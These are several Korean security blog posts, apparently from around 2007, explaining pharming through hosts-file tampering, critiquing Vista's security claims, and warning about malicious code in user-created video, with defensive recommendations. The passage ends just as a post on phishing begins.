사소한 부주의와 실수로 인해 기반시설의 피해와 오류가 발생한다면 그 피해는 당장 실감할 수 있는 정도의 큰 규모가 될 것이므로 미리 알고 대책을 수립하고 방안을 구체화 한다면 진정한 사이버강국으로서의 면모를 일신하게 될 것이다. 이익에 집착하여 제품의 구상과 구현에 많은 노력과 투자를 하지 않는다면 세계적인 회사의 대열에 진입할 수 없을 뿐 아니라 1,2 위만 살아 남는 현실에서 많은 어려움을 겪을 것이라고 짐작할 수 있으며 기업이 가지고 있는 모든 에너지와 자원에서 일정비율 만이라도 다음세대를 선도할 모델이나 제품 개발에 힘을 쏟음으로써 경쟁력을 만회하고 한 획을 그을 수 있다는 결론은 당연해 진다.

해킹과 바이러스의 결합을 통해 새로운 보안모델이 필요함을 깨달았다면 이젠 피해대상의 한계와 그 여파에 대해서도 미리 알고 준비하는 것이 필요하다고 생각한다.

해킹과 바이러스의 경계를 구분하는 것 조차 무의미한 시대에서 지난 시대의 경험도 소중한 자산이지만 흐름을 놓치지 않고 맥을 잡아서 효율적이고 유리하도록 만드는 안목도 중요한 자산이 될 것이다.

 

항목으로 보자면 다음과 같다.

 

1. 보안 전문인력풀의 확대 및 수준 향상

2. 국가나 신뢰할 수 있는 기관에서 체계적으로 관리할 수 있는 위기관리 혹은 Security 팀의 조직 및 활동

3. 해킹 및 바이러스의 동향 뿐 아니라 미래에 발전 가능한 양상 까지도 추측하고 대응할 수 있도록 준비하는 조직이나 문화의 형성

4. 정기적인 취약성 점검

5. 기업체나 관공서의 보안조직 활성화 및 권한 부여

6. 국익을 위한 전략 보안기술에 대한 연구

이외에도 많은 사항들이 있겠지만 차차 지적이 되고 개선이 되리라 생각한다

 

 

조금 다른 부분의 이야기 이지만  모든 사람이 영화상에 나오는 위험이 실제로 일어날지에 관심을 기울이고 있는데 보다 다른 방식에서 어떻게 하면 문제가 되는 부분을 줄이고 최소화 할 수 있는 지에 대한 고민도 있어야 됩니다. 문제는 이미 예전 부터 있어왔고 앞으로는 더욱 심화될 것입니다. 에스토니아의 사례에서 보듯이 정보화가 진행되고 고도화가 진행 될 수록 더 심각한 피해를 입을 수 있습니다.

 

본 게시물의 거의 모든 내용은 2002 10월에 작성된 공개문서에서 따왔습니다. 문제 개요 및 대책 부분에 대한 내용들 모두가 2002년의 공개문서에서 차용을 하였습니다. SCADA DCS라는 용어 자체도 익숙하지 않을 때 작성한 것이라 영양가가 없었는데 5년 가량 지난 시점에서 동일한 문서를 참고 한다는 것이 아이러니컬 합니다.  2002년 이나 지금이나 달라진 것은 많이 없고 문제가 발생 할 수 있는 가능성만 더 증가 하였기에 문맥상에서 많은 부분을 고칠 필요가 없지 않나 판단 하였습니다.

 

SCADA DCS의 기본적인 구성은 아마 컨트롤 패널 같은데 이 게시물에 처음의 이미지에서 여성분 뒤의 배경을 보시면 대충 인지가 가능 할 것 같습니다. 2002년의 문서는 여기를 참고 하시면 됩니다.  http://blog.naver.com/p4ssion/50001878886

 

스스로의 만족과 욕구 충족을 위해 만든 것이기는 하나 감히 최초의 종합화된 문서가 아닐까 예상해 봅니다. ^^ ( 참 쓸데 없는 일들 많이 했죠. )

 

Posted by 바다란

안녕하세요. 바다란 입니다.

 

금일자에 발견된 새로운 기사들을 모니터링 하다보니 다음과 같은 기사가 눈에 띄입니다.

일부 주요 부분을 발췌하면 다음과 같습니다.

 

http://www.donga.com/fbin/output?f=todaynews&code=b__&n=200702260116&main=1

 

《국제 금융 사기단이 ‘파밍(pharming)’이라는 신종 해킹 기법을 이용해 세계 65개 이상의 금융회사와 전자상거래 업체 고객들의 PC를 공격하고 개인정보를 훔치는 대형 금융사고가 일어났다. 25일 국내외 인터넷 보안 전문가와 금융계에 따르면 이 같은 해킹은 19일 호주에서 처음 일어났으며 급속히 확산돼 하루 평균 1000명 이상의 PC 접속자를 위장 사이트로 유도한 뒤 인터넷뱅킹 ID와 비밀번호 등의 정보를 빼갔다. 이런 사실은 22일 미국 보안업체인 ‘웹센스’에 의해 뒤늦게 밝혀졌으며 가짜 사이트들은 폐쇄됐다.》

 

파밍이라는 용어 자체는 기사에 잘 나타나 있기 때문에 특별히 설명을 하지는 않도록 하겠습니다만 부분적인 이해를 위해 개념적으로 설명을 하도록 하겠습니다..

 

 

DNS와  Internet

 

DNS [Domain Name server] 와 사용자의 PC에 존재하는 Host 파일과의 관계를 아시면 충분히 이해가 됩니다. 웹사이트에 접근하는 방법은 두 가지가 있습니다.

하나는 IP Address를 통한 접근 방법이고 또 다른 하나는 URL을 통한 접근 방법입니다. 특정 IP에 특정 URL을 매핑 시킨 정보를 가지고 있는 것이 DNS 이고 우리가 IP Address 설정시에 DNS IP를 지정하는 것도 입력하는 URL 과 URL이 위치한 실제 IP Address를 매칭 시킨 정보를 전달하여 해당 사이트로 이동하게 하기 위한 과정입니다.

 

DNS에 대한 공격이 주요하게 되는 것들도 모든 사용자들이 IP를 기억하여 특정 사이트에 접근 하기는 어렵습니다. 사용자가 인지하기 쉬운 것은 Naming 이죠. 따라서 DNS 서비스가 되지 않을 경우에는 인터넷 망에는 지장이 없으나 URL을 이용한 사이트 접근이 안되어 문제가 생기는 것입니다.

 

IP 주소로는 접근이 되지만 사용자가 인지하는 접근 방법은 URL을 통한 접근 방법이고 URL 주소가 실제 IP 주소로 매칭되는 정보를 찾아내어 DNS가 알려 주어야 하는데 알려 주지 않으니 접근이 안된다고 하는 것입니다.

 

현재 발생되는 인터넷 불통 및 연결 관련된 문제는 대부분 DNS 관련된 문제들이 많습니다. 원인이야 웜이나 바이러스에 의한 트래픽 증대도 있고 다양하지만 최종 사용자에게 미치는 영향은 원하는 사이트에 접근이 안되는 문제가 가장 크며 이 문제의 핵심에는 DNS가 존재합니다.

 

개인 PC에 존재하는 DNS의 기능을 Host 파일이 수행을 합니다. URL에 해당하는 IP Address를 개인 PC의 Host 파일에 넣어 두는 것이죠. 이럴 경우 DNS 서버에 문제가 있더라도 Host 파일에 등록된 URL은 문제없이 접속이 됩니다.

 

그럼 모든 IP Address의 매핑을 Host 파일에 저장을 한다면 문제는 없는가? 라는 질문에 원칙적으로는 그렇다라고 말 할 수 있습니다. 그러나 전 세계의 IP Address 전체와 URL 정보를 어떻게 얻을 수 있나요? 불가능 합니다. 유기적으로 갱신하고 URL을 기준으로 변경이 되는 IP 정보를 갱신 하기 위해 DNS 시스템이  존재합니다.

 

최상위 Root DNS 라고 불리는 것 부터 하위 DNS 까지 계층 구조를 이루고 있으며 갱신 시점은 일정 시간이 지난 이후 상위로 전달이 되고 최상위 Root DNS에서 일정 시간 이후 하위로 전달이 되는 구조로 되어 있습니다.

 

만약 새로운 URL과 IP를 전달 한다면 정확한 시간을 예정하는 것은 어렵지만 며칠 이내에 전 세계 시스템에서 URL을 통해 접근 할 수 있도록 계층적으로 구성이 되어 있습니다.

DNS의 이용은 이러한 유기적 구조를 통해 접근성을 확보하기 위해 필수적으로 사용이 됩니다.

 

파밍을 이야기 하다 부연설명이 길어졌습니다. 파밍이 사용하는 방법은 무엇일까요?

사용자 PC의 Host 파일을 조작하는 것은 어떤 의미 일까요?  서비스 하는 기업들은 URL을 등록하고 URL을 이용하는 사용자는 그 기업의 서비스를 신뢰하고 사용을 합니다. DNS에 등록이 된 URL과 IP Address는 어느정도 신뢰가 가능하다는 이야기 입니다.  이 신뢰를 이용하는 것이 파밍이라 할 수 있습니다.

 

사회공학적 해킹

 

사용자는 익숙한 URL을 입력하여 일반적으로 Web에 접근을 합니다. 이런 일반성을 이용하는 것이 파밍이며 DNS 서버에 URL에 대한 IP Address 질의를 던지기 이전에 사용자 PC의 Host 파일 설정이 우선순위가 높습니다. Host 파일을 먼저 확인한 이후 URL 목록이 없을 경우 DNS 서버에 질의를 합니다. 만약 Host 파일을 변경한다면?

 

당연히 Host 파일에 등록이 된 URL에 매핑된 IP Address가 실행이 됩니다. 즉 DNS에 존재하는 신뢰가 되는 Ip Address가 아닌 임의의 IP Address에 접근이 되는 것입니다. 은행 사이트도 마찬가지 이고 모든 사이트가 마찬가지 입니다. 이런 Host 파일을 변조하여 공격자가 사용자의 정보를 빼내가기 위한 사이트로 유도를 하려 합니다.

 

DNS 서버에 등록된 주소: www.xxx.com 111.111.111.XXX 

실제 DNS에 앞에서와 같이 기술이 되어 있다면 이 내용을 공격자가 바꾸는 것이지요. 사용자의 PC에 존재하는 Host 파일에 이렇게 바꿉니다.

사용자 PC의 HOST 파일:  www.xxx.com  222.222.222.xxx

이렇게 되었을 경우 DNS 서버에는 정상이지만 사용자 PC의 Host 파일이 변경된 경우 URL 입력창에 www.xxx.com 을 입력할 경우 222.222.222.xxx 사이트로 이동이 됩니다.

 

문제는 www.xxx.com 과 유사한 사이트 이미지를 만들어서 사용자 입력을 받도록 한다는 것이죠. 사용자는 자신이 매일 방문을 하는 사이트 이므로 의심없이 입력을 하게 됩니다. 피해가 대량으로 발생을 하죠. 우리나라의 경우 공인인증서가 활성화 된 상태라 공인인증서까지 가져가야 하기 때문에 피해가 거의 없었다고 할 수 있습니다.

 

올해 초에 발생된 신형의 경우 악성코드를 통해 Host 파일의 변조 , 공인인증서 파일의 외부 유출등을 실행 하였고 사용자가 해당 은행 접근 시에 위조된 사이트로 접근을 하게 된 경우입니다.

위조된 사이트에서 공인인증서 패스워드까지 입력하도록 함으로써 수상하다라는 인식을 빨리 하게 되어 문제가 커지기 전에 차단이 된 내용입니다.

 

그렇다면 해외는 어떨까요? 기사에 나타난 내용대로라면 다수의 사용자에게 실질적인 피해가 발생 하였을 것입니다. 실제 거래의 피해 및 금전적인 피해가 발생 하였을 것입니다. 개인에게 직접 영향을 미치는 것이죠.

 

국내의 금융권 보안 강화 방안과 해외의 보안 강화 방안

 

<개념적인 그림입니다. 현재 전체적으로 봤을때 주요 관점이 다르다는 의미입니다.>

 

- 국내는 공인인증서를 사용하여 추가적인 입력 장치가 필요하고 비록 단종된 ActiveX 기술이기는 하나 다양한 보안 기능을 활용 하고 있습니다. 따라서 금융기관 공격이 매우 어려우며 사용자 정보의 유출이나 금전적인 피해가 상당히 적다고 할 수 있습니다. 가장 기본적인 원칙은 사용자의 PC 수준을 우선 불안전한 상태라고 보고 이후의 모든 단계를 강제적으로 진행 하는 개념입니다.

 

- 해외는 기본원칙이 다릅니다. 사용자의 PC 수준을 우선 신뢰하고 있으며 신뢰된 내용으로 부터 들어온 거래에 대해 비정상적인 행위를 찾아내는데 중점을 두고 있습니다. Fraud  검출과 관련된 기능과 인력에 중점을 두고 있습니다. 그리고 인터넷 상에서 피싱된 사이트에 대한 정보를 찾고 해당 정보에 대한 전체적인 차단과 대응에 중점을 두고 있습니다.

 

두 원칙이 다르다 보니 발달된 부분도 다릅니다. 국내는 PC보안 및 보안요소 기술, 공인인증 관련 기술이 발전 하였고 해외는 피싱관련된 협력 모델 , Fraud 검출 기술이 장점입니다.

 

어느 부분이 바람직 할까요? 저 개인적으로는 향후의 위협을 고려하여 보면 국내의 방향이 맞다고 봅니다. 안정성 측면에서 바람직한 접근이라 할 수 있습니다. 인터넷은 통제가 가능한 부분이 아니며 그동안 여러번 이야기 하였지만 위험요소를 걸러내어 안전해 질 수 있는 부분이 아니며 Protection의 개념으로 접근을 하여야만 합니다. 

 

해외는 앞으로 많은 위협에 직면하게 될 것입니다.  공격 기술은 보안 기술과의 격차를 계속 벌리고 있는 상황이라 향후 많은 "소 잃고 외양간 고치기"를 해야 할텐데.. 외양간이 어디인지를 잘 살펴야 할 것입니다.

 

격리와 Protection 관점의 변화는 매우 어려운데 해외는 개념 및 발상의 전환상 상당 시일이 소요될 것으로 보이며 향후 난관이 예상됩니다.

vista도 protection 관점에서 진화된 내용이기는 하나 침입 가능 경로중의 일부만을 차단하고 있으며 또한 취약성 분석의 전문화와 대중화로 인해 문제가 지속 될 것입니다. 물론 zeroday 및 MS의 관련 Application 문제도 상당히 많고 오랫동안 계속될 문제입니다.

 

* 개인의 의견입니다.

 


 
Posted by 바다란

안녕하세요. 바다란입니다.

 

금일 자 기사에 Vista의 전문가들의 비난에 대해 침묵하던 빌게이츠 회장의 의견 피력이 있었습니다. 전체적으로 보면 일상적이고 무난한 의견이라고 보지만 그 동안 시대 상황이 변화고 환경 자체가 변함에 따라 변화의 요구는 매우 강해 질 수 밖에 없었던 MS의 입장을 볼 수 있습니다. 그 입장 변화의 주요 핵심요소들 중에는 Security가 있습니다.

 

그 동안 운영체제의 문제로 인해 발생된 문제들에 대한 지대한 관심과 IT분야에서의 이슈메이커는 MS에 집중이 되었습니다. 어찌 보면 당연한 문제일 수 밖에 없습니다. 신규 웜의 발생 및 파급효과 면에서 가장 큰 효과를 지닌 MS의 운영체제는 집중적인 분석 및 공격 대상이 되어 왔었고 현재도 마찬가지 입니다.  따라서 운영체제에 대한 보호 방안 마련 및 Secure한 운영체제 구현은 근 5년 이상 2000년대 들어서 MS에게 주어진 숙제와도 같았을 것입니다. 1차 숙제를 끝냈다고 생각한 빌 게이츠의 의견은 기사와 같습니다.

 

빌 게이츠 "비스타 비난 근거 없다"

http://news.naver.com/news/read.php?mode=LSS2D&office_id=030&article_id=0000168184&section_id=105&section_id2=230&menu_id=105

 

"비스타의 가장 큰 장점 중 하나는 많은 신기술과 보안 기능으로 사용자를 즉각 흡수한다는 것"

 

비스타에 대해 의견을 내는 빌의 한 마디는 위와 같이 요약이 됩니다. 기술된 언어에서 중요 포인트를 추려보면 강조표시를 한 신기술과 보안기능입니다. 신기술의 측면은 UI 측면과 그다지 새롭지 않은 기술들 [ 이미 틈새를 개발한 많은 개발 업체들이 상용화 한 부분]의 운영체제 흡수를 들 수 있습니다. 새로운 기능들이 얼마나 포함이 되었는지는 상세하게 알지 못하지만 언론지상에 노출된 기능만을 보았을 때는 UI 측면 그리고 인터넷에 접근 한 이후에 사용할 수 있는 선택의 기제를 운영체제에 내포한 기능 정도로 볼 수 있습니다. IE7 Vista를 관통하는 정의는 선택의 흡수와 편리성 입니다.

 

선택의 흡수란 말은 인터넷 연결 이후에 선택하는 사이트에서 이루어지는 행위 자체를 운영체제 단위 및 기본 Application 에 내재화 시킨 것으로 볼 수 있습니다. 향후 다양한 기능들이 추가가 될 것으로 예상이 됩니다. MS의 주요 경쟁자가 구글 , 야후 등과 같은 Service content를 제공하는 업체라고 인식을 하고 있고 인식의 바탕 하에 service content의 제공자 역할까지도 동시에 하겠다는 말과도 일맥상통 하다고 볼 수 있습니다. 편리성이라는 용어도 선택의 흡수와 연계되는 용어 입니다. 단지 포장만 달리 했다고 볼 수 있습니다. 경쟁자를 이기기 위해 들고나온 첫 무기가 Vista라고 볼 수 있을 것 같습니다. 또한 경쟁자의 대상을 명확하게 했다고 볼 수도 있습니다.

전략적으로는 서비스 제공자의 역할을 분산시키고 선택 제한을 통해 약화를 시키고 세부적으로는 MS의 솔루션에 대한 Security 인식을 심어주기 위한 의도라고 볼 수 있습니다. 다르게 보면 All in one OS를 지향 한다고도 볼 수 있을 것 같습니다. 지금까지는 개별 Application 설치를 통해서 해결 하던 문제를 알게 모르게 흡수를 하여 상당부분 운영체제 혹은 MS Lineup에서 해결 할 수 있도록 하여 시장에 대한 지배력의 공고화를 노리고 있다고 봅니다. 노벨에 대한 회유도 대동소이한  맥락이라 볼 수 있을 것입니다.

 

다양한 신기술을 접속이라는 측면에는 위와 같은 배경들이 존재한다고 할 수 있으며 그 결과가 개별 Application의 흡수라고 볼 수 있습니다. 심지어는 보안 관련된 Application도 자사의 서비스 전략에 포함을 시켜 두고 전 세계에서 서비스를 하고 있습니다. (Live oncare) MS와 관련이 없을 것으로 여겼던 [ 자사의 서비스 취약성을 이용하는 공격을 Active하게 대응 한다고도 볼 수 있습니다.] 부분까지도 범위를 확장한 것은 그만큼 서비스 범위에 대한 통제권을 확실히 하고 이득을 분명하게 추구하겠다는 이야기라고 볼 수 있습니다.

 

또 다른 부분으로 언급한 보안성이라는 측면에서 공식적으로 보안이 강화되었고 보안성이 사용자를 흡수 할 수 있다는 논의는 그 동안 MS에서 들인 노력에 대한 자신감이라 할 수 있습니다. 그 노력에 대한 자신감은 모든 개발인력에 대한 보안프로세스 이해 그리고 실제적인 보안의 사안을 이해하기 위해 보안 자격증 취득 지원 ( CISSP ? ) 그리고 강력하고 반복적인 BlackBox Test를 통한 자신감이라 하겠습니다. 지난 시간 동안 개발에 투입된 비용만큼을 보안에 투입한 상황에서는 충분히 가질 수 있다 하겠습니다. SDLC (Secure Software Development Life Cycle or Security Development Life Cycle)를 언급한 MS의 입장에서도 확인 할 수 있습니다.

Ref: SDLC  [ Secure Software 개발을 위한 반복적인 Penetration Test 그리고 문제해결 과정을 의미 하기도 합니다.]

< www.owasp.org Eoin.keary@owasp.org 의 발표자료중 발췌>

 

2002년 초에 MS에서 공식적으로 표방한 TCI (Trustworthy Computing Initiative) 전략의 첫 완성물이라고 볼 수 있기에 Vista에 대한 자신감은 있을 수 있습니다. 2002년 이후 일정 수준이상 완성된 Vista 의 소스코드를 전체에 대해서 전수 검사를 수행하고 문제 있는 부분 수정을 한 이후 출시 일정을 미루어 가면서 까지 나온 바탕이 배경화 되었을 것입니다. 그 동안에 들인 비용은 상상을 초월하는 비용이 들었을 것입니다. 어쩌면 Vista에 대한 개발 비용 보다 더 많은 비용이 들었을 것입니다.  이런 일련의 흐름이 지향하는 바는 명확합니다. 기업은 이익 창출이 기본 개념입니다. 그리고 이익이 없는 곳에는 행동 하지 않습니다. 따라서 MS의 보안분야에 대한 투자는 운영체제에 대한 막대한 시장지배력만으로 유지하는 것은 어렵다는 것을 인지하고 Security 라는 부분이 중대한 Factor임을 인정한 것 이라 볼 수 있습니다.

 

관련기사: http://news.naver.com/news/read.php?mode=LSD&office_id=092&article_id=0000006973&section_id=105&menu_id=105

 

그러나 과연 Vista에 대한 보안적인 이슈들을 일정부분 해소 하였다고 하여 보안성이 강화 되었다고 할 수 있을까요?

질문 나갑니다. Vista는 안전 합니다. 그럼 Vista 상에서 동작하는 모든 Application들도 안전 할까요?

 

정답은 그렇지 않다 입니다. Application에 대한 공격은 2004년부터 일반화된 경향이며 현재 발표되는 취약성의 90% 이상이 개별 Application에 대한 내용입니다. 그 중에는 MS에 많은 이득을 창출케 해주었던 MS Office 군도 포함이 되어 있습니다. 이전의 Office 제품과 호환이 가능하면서 완전한 Security Process를 수립하고 process에 따른 대책이 이루어 졌을까요? 그렇지 않다고 단언합니다.

Office 제품군에 대한 취약성은 일주일에 몇 개 꼴로 신규 취약성 및 공격 가능성이 발견 되고 있습니다. 지금은 일반화된 zeroday attack[패치가 없는 취약성] 이 가능한 공격코드들이 무수히 발견 되고 있고 일정 수준 이상의 Binary 분석 및 취약점 발견 능력을 지닌 사람들에게는  손쉬운 일이라 할 수 있습니다. 도구의 발전으로 인해 예전보다 휠씬 더 적은 시간을 투자하고도 발견 할 수 있다고 봅니다.

 

http://www.securityfocus.com/bid 에서 Vendor Microsoft로 선택 하시고 보시면 최근 MS제품군에서 발견된 취약성을 확인 할 수 있습니다. 2007년에 발견된 다수의 취약성 대부분이 Office 제품군에서 발견된 것을 확인 할 수 있습니다. 물론 알려진 것 만입니다. 알려지지 않은 취약성이 더욱 많겠죠.

 

<securityfocus의 MS 관련 취약성>

 

http://www.youtube.com/watch?v=x1OF1BH0HhM

< MS Word Zeroday Attack에 대한 Youtube 동영상>

 

빌의 자신감은 충분히 이해합니다. 그러나 운영체제와 Application은 다르다고 생각합니다. 운영체제에서 모든 Secure한 구조 위에서 Application을 운영하고 통제를 한다면 이것은 진정한 All in One 이자 MS Emperor라 부를 수 있을 것입니다. 하지만 완전한 것은 없습니다. 운영체제의 보안이 하나 흔들리게 되면 모든 Application도 흔들리게 됩니다. Application 접근을 위해 통제가 가능한 PatchGuard 라는 방안도 만들어 두고 있으나 장기적 관점에서는 MS의 의도는 중대한 실책에 부딪힐 수 있을 것입니다. 자사가 만든 모든 Application의 변환은 그리 원활하지 않을 것이고 지금까지 투입된 것 보다 휠씬 더 많은 가치를 투입하고 긴 시간이 소요 될 것입니다. 이 간극의 시간에 많은 문제들이 발생 할 것이고 또한 Vista Protection도 깨질 것으로 보입니다. 확실 하다고 할 수 있습니다.

 

SAAS & SAAP의 충돌 ( 구글과 MS ? )

 

SaaS ( Software as a Service ) Saap (Software as a Product) 의 충돌이 이제 곧 예상이 됩니다. 올해부터 시작이 될 것으로 보입니다. SaaS의 선두 주자는 구글이고 Saap MS가 되겠죠. SaaS는 근래에 회자 되고 있는 용어이나 Saap는 방금 제가 급조한 용어입니다. ^^ ; Product 관점에서 접근하는 MS Service관점에서 접근하는 구글을 가르는 키워드는 Security 입니다. 두 패러다임을 이끌고 있는 기업 모두 직면한 과제라고 할 수 있습니다. Product 관점의 MS OS에 모든 것을 포함하려는 첫 시도가 Vista이고 많은 노력을 기울였지만 전체적인 관점에서 Trustworthy Computing Initiative는 아직 갈 길이 멀다고 봅니다.

 

빌이 역설한 Vista의 보안성 강조 부분에서 읽어 낼 수 있는 부분을 최대한 읽어 보았고 향후 양대 세력의 움직임을 어설프나마 예측해 보았습니다. 또 빌의 호언장담은 그리 만만치 않은 현실 속에서 많은 어려움을 겪게 될 것입니다. 아쉽게도 큰 흐름을 주도하는 두 세력 모두가 미국 회사라는 점이죠. 이런 거대 경쟁 속에서 발전을 하고 새로운 흐름을 주도하는 것이 부러울 따름입니다. 우리도 끊임없이 노력하다 보면 언젠가는 새로운 흐름을 선도 할 수 있을 것입니다. 지금은 틈을 노려야 할 때..

 

- 바다란 세상 가장 낮은 곳의 또 다른 이름. P4ssion

 

* 빌게이츠가 제 친구는 아닙니다. ^^; 서양 스타일 대로 호칭한 것이니 별다른 오해 없으셨으면 합니다. ^^;


 

 

 

 
Posted by 바다란

안녕하세요. 바다란 입니다..

 

올해 년초의 보안 전망에서 너도나도 할 것 없이 UCC의 위험에 대해서 언급을 하고 있습니다.

해외 보안 업체 뿐 아니라 국내 보안 업체들도 마찬가지의 목소리를 내고 있는데 실상 얼마 만큼의 위험요소가 있을까요?

실제 가벼운 예를 통해서 풀어 보도록 하겠습니다.

 

http://www.etnews.co.kr/news/detail.html?id=200701080117

 

 

Web 2.0은 사용자 중심의 UI를 통한 사용자에 의한 컨텐츠 제어로 규정 할 수 있을 것 같습니다. 물론 제 나름의 정의입니다. ^^

이 관계에서 AJAX든 UCC든 다양한 사용자 중심의 컨텐츠 구성이 핵심이 될 수 있을 것 같습니다. 이 중에서도 UCC [ 사용자 저작 컨텐츠]라고 칭할 만한 것은 매우 많이 있지만 국내외적으로 통용되는 부분은 동영상 부분을 언급 할 수 있습니다. 구글에 인수된 유튜브를 비롯하여 국내에도 다양하고 많은 동영상 서비스 제공 업체들이 있으며 현재도 활발하게 서비스를 하고 있는 상황입니다.

 

동영상이 핵심이 된 UCC 부분에 다가올 위협은 어떤 것들이 있을까요? 그리고 우리에겐 어떤 영향들이 있을까요?

 

Myspace를 통한 Application 웜의 전파는 이미 시일이 지난 뉴스 입니다만 매우 손쉽게 기업이나 사용자들이  다양한 타격들을 받았습니다. 05년도에는 Javascript를 통한 이용자의 정보 도용 및 임의 전파가 가능한 가벼운 수준의 Application worm이 출현 하였습니다만 기업 입장에서는 개발 코딩의 변경 및 여러 관계 부분을 고치느라 고생을 하였을 것입니다.   이후 지난 연말 즈음에 Applie의 QuickTime 파일에서 임의적인 코드를 실행하게 하는 악성코드가 발견 되었고 해당 유형으로 인해 사용자의 피해가 다수 있었습니다. 앞으로도 계속 이어지겠죠. 온라인 상에서 서비스를 하는 기업이라면 말입니다.

 

QuickTime 포맷의 경우 편집기를 통해 중간 부분에 스크립트를 밀어 넣는 것이 가능해 집니다. 스크립트를 밀어 넣는다는 것은 원격지의 웹서버에서 악의적인 코드를 실행 시키게 하는 것이 가능하다는 것이죠. XSS [Cross site scripting] 취약성의 문제는 외부 링크를 허용하게 하거나 임의의 스크립트 코드를 실행 시키게 함으로써 사용자 PC에 악의적인 행위 혹은 사용자가 이용하는 웹사이트에 악의적인 행동을 할 수 있게 됩니다.

 

그렇다면 멀쩡한 게시판 및 링크들을 올릴 수 있는 부분을 제외하고 왜 동영상인가? 할 수 있습니다. 그동안 XSS 취약성은 게시판 및 댓글 ..등등 사용자가 작성 할 수 있는 유형의 게시물에 많은 부분 발생이 되었고 많은 권고와 문제의 지적에 따라 상당부분 해결이 되었습니다.  즉 악의적인 코드의 실행을 유도 할 수 있는 원천 문제들이 다수 수정이 되었으므로 사용자가 직접 제작하여 올릴 수 있는 컨텐츠에 집중이 되는 것으로 볼 수 있습니다.

 

원천적인 악성코드 설치를 유도하는 소스의 변경은 다음과 같이 가볍게 볼 수 있습니다.

게시물의 XSS 취약성 이용 -> Jpeg 파일 변조를 통한 악성코드 설치 ->Flash내에 임의 코드 실행 루틴 추가 -> 동영상내에 악성코드 실행 루틴 첨가

 

현재의 위험요소는 동영상 편집의 일반화 및 동영상 업로딩의 일반화에 따라 보다 더 많은 대중에게 노출이 가능한 컨텐츠가 보다 큰 효과를 얻을 수 있다고 판단을 하였을 것입니다. Mpeg 계열뿐 아니라 모든 동영상이 마찬가지의 문제를 안고 있습니다. 다만 문제의 해결은 이런 동영상들을 플레이 하는 플레이어의 판단에 따라 외부 코드가 실행이 되거나 되지 않거나 할 뿐입니다.

 

서론이 길었습니다. 간단하게 나타날 위험을 짚어 보겠습니다.

 

* 동영상 편집을 통해 중간이나 시작 부분등에 치료툴 [ 그동안 지긋지긋 하게 봐왔던 유형] 설치 및 광고가 들어 갈 수 있고 이런 유형은 매우 손쉽게 사용자 정보 유출 및 사용자 PC에 악의적인 코드를 실행 시키게 하여 원격에서 제어가 가능한 형태로  쉽게 전환이 될 것입니다.

 

* 동영상 플레이어의 경우 자체 제작한 동영상 플레이어 및 Media Player등을 거의 대부분 사용하고 있을 것인데 Media Player에 포함된 외부 URL , 스크립트에 대한 허용/ 비허용 기능의 Default On 기능이 Media Player 버전에 따라 들쭉날쭉 일관성이 없습니다.  Media player의 경우에는 허용/비허용이라도 있지만 대부분 자체 개발한 부분에는 해당 옵션 조차 없습니다.

 

* 자체 동영상 파일 원본을 보유한 곳은 패턴에 따른 검수라도 가능 하겠으나 단순 스트리밍 서비스를 제공 받는 곳은 치명적인 타격을 받을 수 있습니다.  [ MMS 프로토콜을 이용할 경우 버퍼링을 통해 방송이 됩니다. ] 파일 원본속에 포함된 악의적인 코드를 검출 하는 것이 불가능 하며 알려진 악성코드의 유형에 대해서만 다양한 보호장치를 통해 일부 판별하는 것이 가능합니다.

 

* 악성코드의 사용자 PC 공격 유형은 일반인들의 상상을 초월합니다. 보안장비나 패턴을 찾아내는 탐지기를 피하기 위해 다양한 변형기법들을 사용 하고 있으며  현재에도 널리 사용이 되고 있습니다. 단순하게 패턴을 찾는 유형으로는 일차적인 대응외에는 더 할 수 있는 일이 없다고 볼 수 있습니다. encoding 단계를 넘어선 상황입니다.

 

 

- 최악이라 볼 수 있는 것은 이슈성이 매우 큰 폭발력이 있는 동영상에 신규 취약성을 공격하는 코드 실행 루틴이 숨겨져 있을 경우 [ 일반적인 패턴매칭으로는 찾을 수 없을때] 한번에 몇백만개의 백도어가 설치된 PC들을 동시에 제어하는 것이 가능해 질 수도 있다고 생각 됩니다.

 

대책은 무엇일까요?

 

- 자체개발 동영상 Viewer에서의 외부 URL 링크 및 스크립트 실행 부분을 비허용으로 설정 [ 이럴 경우 광고등에 문제가 있을 것이므로 적당하게 현명한 대책이 필요합니다.] Media Player의 경우 버전에 따라 오락가락함.

 

- 전체 동영상 원본에 대한 발생 가능한 패턴의 발견 및 검증 절차 수립 [ 동영상 원본 자체내의 패턴을 검사하여 비정상 패턴을 걸러내야만 합니다. ]

 

- Streamming 서비스시에는 Streamming 서비스 원본을 제공하는 주체에서 명확하게 검증을 수행 하여야 하며 단순한 스트리밍 서비스를 중계하는 업체의  경우 에는 인력을 동원한 검증작업 이후나 검증 루틴을 소스제공 주체에 제공하여 보안을 강화하는 방식이 효과가 있을 것입니다.

 

여담으로 IPTV가 활성화 된다고 합니다. 생방송 도중 악성코드가 삽입이 된다면 어떻게 될까요? 발생할 일이 없을까요? 장담하기 어려울 것입니다. 주문형 VoD의 경우에도 매우 큰 문제가 될 것이구요. 비단 UCC만의 문제가 아니라 전체 웹 및 서비스 산업의 발전에 따른 비용입니다. 서비스의 발전에는 그만큼의 그늘이 존재 할 수 밖에 없습니다. 모든 것은 발전을 지향하고 이상적인 모델을 추구합니다. 또한 공격자들도 이상적인 모델을 꿈꿉니다. 발전은 병행하며 공격기술의 발전은 무어의 법칙을 넘은 수준입니다. ^^;

 

모든 서비스의 발전에는 물밑의 수없이 많은 다리의 움직임이 있어서 유지가 되는 것이라 할 수 있습니다. 많은 부분 노출이 되고 숨길만한 게재가 없는 "UCC"의 흐름에서 작은 문제 하나가 종종 만사를 어렵게 만들기도 합니다. 보안이라는 부분은 더이상 여유가 있을때 노력을 해야만 하는 충분조건이 아닌 필요충분조건으로서의 폭발력을 이미 가지고 있다고 봅니다.

 

앞으로 곧 현실화 될 문제이고 현재 당면한 문제입니다.

 

기사를 보다보니 충분한 설명과 대책에 대해서도 언급하는 것이 필요한 것 같아서 간단하게 써보았습니다.

   - p4ssion  

Posted by 바다란

바다란입니다. 근래에 피싱 관련된 이슈들이 국내외를 막론하고 발생이 되었습니다.

 

해당 유형에 대한 기사중 국내에서 발생된 기사의 경우 제가 특별히 언급을 할만한 내용은 없어 보이고 [ 이미 많은 설명이 되었기 때문 ] 해외 기사중 스웨덴에서 발생된 대규모 예금 인출 사건등과 묶어서 설명하는 것이 좋을 듯 싶습니다.

 

http://www.zdnet.co.kr/news/internet/hack/0,39031287,39154804,00.htm

 

